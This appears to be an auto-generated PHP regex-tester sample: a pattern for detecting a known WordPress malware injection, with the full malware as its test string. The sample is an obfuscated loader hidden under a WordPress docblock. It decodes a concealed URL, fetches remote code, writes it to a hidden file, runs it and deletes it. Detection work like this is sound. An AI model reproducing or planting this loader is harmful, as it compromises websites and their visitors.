$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,800}(\$zeeta);\s*if \(!\$npdcheckclassbgp.{0,200}str_replace[\(\'",\s\w\$\);]+(\$algo)\s*=\s*[\'"]default["\'];\s*(\$pass)\s*=.{0,700}function_exists\(\'wp_cd.{0,410}(\$reqw)\s*=[\s\$\w\("\']+\3.{0,70}\4,\s*(\$mtchs).{0,300}if\s*\(fopen\("\$subdira\/\.\2.{0,220}fwrite\((\$hdl)([,\s"\'\<\?\w\\\\]+)\5[\[\w\]\\\\\?\>"\'\)]+;\s*fclose\(\6.{0,120}\1\s*=\s*["\']yup[\'"];\s*\}(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/is';
$str = '<?php
/**
* Main WordPress API
*
* @package WordPress
* Convert given date string into a different format.
*
* $format should be either a PHP date format string, e.g. \'U\' for a Unix
* timestamp, or \'G\' for a Unix timestamp assuming that $date is GMT.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @since 0.24
*
* @param string $format Format of the date to return.
* @param string $date Date string to convert.
* @param bool $translate Whether the return date should be translated. Default true.
* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
*/
/** Define ABSPATH as this file\'s directory */
@ini_set(\'display_errors\', \'0\');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = \'_shaesx_\'; $ay = \'get_data_ya\'; $ae = \'decode\'; $ea = str_replace(\'_sha\', \'bas\', $ea); $ao = \'wp_cd\'; $ee = $ea.$ae; $oa = str_replace(\'sx\', \'64\', $ee); $algo = \'default\'; $pass = "Zgc5c4MXrOhvdAwS4pBXIercM1fWdrpdmmSLH6uToRkH";
if (!function_exists(\'get_data_ya\')) {
if (ini_get(\'allow_url_fopen\')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists(\'wp_cd\')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = \'\';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack(\'H*\', sha1(\'wp_frmfunct\')), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), \'wp_function\'));
preg_match(\'#gogo(.*)enen#is\', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", \'w\')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", \'w\'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", \'w\')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", \'w\'); break; }
}
}
if (!$ura && fopen(".$algo", \'w\')) { $ura = 1; $eb = \'\'; $hdl = fopen(".$algo", \'w\'); }
fwrite($hdl, "<?php\\n$mtchs[1]\\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = \'aue\';
$zeeta = "yup";
}
?>
<?php';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php